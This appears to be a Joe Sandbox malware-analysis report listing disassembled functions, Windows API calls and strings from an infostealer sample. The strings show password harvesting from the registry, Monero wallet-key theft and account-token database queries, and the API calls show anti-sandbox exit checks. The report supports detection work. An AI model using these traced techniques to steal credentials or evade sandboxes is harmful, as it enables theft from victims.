Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(3381B020,004217A0), ref: 00407646
lstrcat.KERNEL32(3381B020,00000000), ref: 00407688
lstrcat.KERNEL32(3381B020, : ), ref: 0040769A
lstrcat.KERNEL32(3381B020,00000000), ref: 004076CF
lstrcat.KERNEL32(3381B020,004217A8), ref: 004076E0
lstrcat.KERNEL32(3381B020,00000000), ref: 00407713
lstrcat.KERNEL32(3381B020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

\, xrefs: 00417000
:, xrefs: 00416FFC
C, xrefs: 00416FEC

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01102F28,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01102F28,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00401310 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,011018B8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$CloseCreateFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 575717205-218353709
Opcode ID: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction ID: 953294376e47f8e4316e7e62fd6b04658e6323c3fb6fa537345fd6b82421038a
Opcode Fuzzy Hash: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction Fuzzy Hash: 395175B1D5011867CB14EB61DC96FED733CAF50314F4041ADB60A62092EE786BD9CFAA

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
AccountTokens, xrefs: 0040B9A9
AccountId, xrefs: 0040BB02
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: f0dd8f96928fb00004bcac7f673c71514e1c67c0a3dc722c159aec02f76ad478
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: f0dd8f96928fb00004bcac7f673c71514e1c67c0a3dc722c159aec02f76ad478
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF238), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF2B0), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF3A0), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF340), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF2C8), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010F2DC8), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010F2748), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010F2828), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF2E0), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF358), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF3D0), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF568), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010F26E8), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,010EF550), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(010FAB48,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLCID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010FAA58,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,010FAA58,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleName__aulldiv$CapsComputerCurrentDeviceGlobalInfoLangMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 655105637-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,010FAA58,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2224038230.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
